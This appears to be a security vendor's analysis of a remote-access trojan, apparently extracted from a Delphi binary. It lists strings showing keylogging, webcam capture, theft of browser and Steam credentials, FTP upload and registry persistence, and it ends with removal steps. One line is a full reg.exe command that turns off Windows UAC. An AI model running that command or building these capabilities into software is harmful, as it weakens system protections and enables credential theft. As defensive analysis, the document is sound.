PDCAP_WAKE_FROM_D1_SUPPORTED

PDCAP_WAKE_FROM_D2_SUPPORTED

PDCAP_WAKE_FROM_D3_SUPPORTED

PDCAP_WARM_EJECT_SUPPORTED

HKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIG

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

127.0.0.1

iphlpapi.dll

AllocateAndGetTcpExTableFromStack

AllocateAndGetUdpExTableFromStack

SetTcpEntry

GetExtendedTcpTable

GetExtendedUdpTable

Mozilla3_5Password

GetChromePass

StartHttpProxy

1.2.3

keyboardkey

webcaminactive

webcamgetbuffer

webcam

enviarexecnormal

enviarexechidden

openweb

openwebpage

openwebhidden

downexec

sendftp

keylogger

keyloggergetlog

keyloggereraselog

keyloggerativar

keyloggerdesativar

renamekey

windowsfechar

windowsmax

windowsmin

windowsmostrar

windowsocultar

windowsmintodas

windowscaption

listarportas

listarportasdns

finalizarprocessoportas

webcamsettings

chatmsg

getpassword

updateservidorweb

keyloggersearch

urlredirect

urlredirecttrue

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

PSAPI.dll

\config\SteamAppData.vdf

AutoLoginUser

/ClientRegistry.Blob

\ClientRegistry.blob

\steam.dll

%SYS%

ÞSKTOP%

Uhm%D

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

FirstExecution

chatmsg|

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

listarjanelas|windowsfechar|

listarjanelas|windowsmax|

listarjanelas|windowsmin|

listarjanelas|windowsmostrar|

listarjanelas|windowsocultar|

listarjanelas|windowsmintodas|

listarjanelas|windowscaption|

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

listarportas|listadeportaspronta|

listarportas|finalizarconexao|

listarportas|finalizarprocessoportas|Y|

listarportas|finalizarprocessoportas|N|

registro|renamekey|

keylogger|keylogger|keyloggerativar|

keylogger|keylogger|keyloggerdesativar|

keylogger|keyloggergetlog|

keylogger|keylogger|keyloggervazio|

keyloggersearchok|

webcam|webcaminactive|

webcam|webcamactive|

SOFTWARE\Mozilla\Mozilla Firefox

getfirefox

getielogin

getiepass

getieweb

getchrome

getpassword|getpasswordlist|

getpassword|getpassworderror|

duac.bat

%windir%\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

cmd.exe duac.bat

C:\Windows\System32\drivers\etc\hosts

Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\

Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\

Software\Microsoft\Windows\CurrentVersion\RunServices\

Software\Microsoft\Windows\CurrentVersion\RunOnce\

Software\Microsoft\Windows\CurrentVersion\Run\

temp.vbs

ntdll.dll

log.dat

SQLite3.dll

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

KWindows

RegExport

UrlMon

UnitExecutarComandos

uftp

.UnitBytesSize

UnitListarPortasAtivas

UnitWebcam

UnitKeylogger

WinExec

SetNamedPipeHandleState

GetProcessHeap

CreatePipe

RegQueryInfoKeyA

RegOpenKeyExA

RegOpenKeyA

RegEnumKeyExA

RegDeleteKeyA

RegCreateKeyExA

RegCreateKeyA

RegCloseKey

GdiplusShutdown

keybd_event

MsgWaitForMultipleObjects

MapVirtualKeyA

GetKeyboardState

GetKeyboardLayoutNameA

GetKeyState

GetAsyncKeyState

ExitWindowsEx

EnumWindows

FtpGetFileSize

FtpSetCurrentDirectoryA

FtpOpenFileA

%( % & % % % ]

.idata

.reloc

P.rsrc

hbS%S

advapi32.dll

AVICAP32.DLL

gdi32.dll

gdiplus.dll

mpr.dll

msacm32.dll

ole32.dll

oleaut32.dll

powrprof.dll

user32.dll

wininet.dll

winmm.dll

wsock32.dll

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   %original file name%.exe:1916
   chrome.exe:2712
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   C:\Users\"%CurrentUserName%"\AppData\Local\Temp\adm2.txt (3 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Local\Temp\adm8 (104 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\admlog.dat (15 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat (80 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Local\Temp\adm7 (11664 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Local\Temp\NCK MTK Full No HWID.exe (294 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.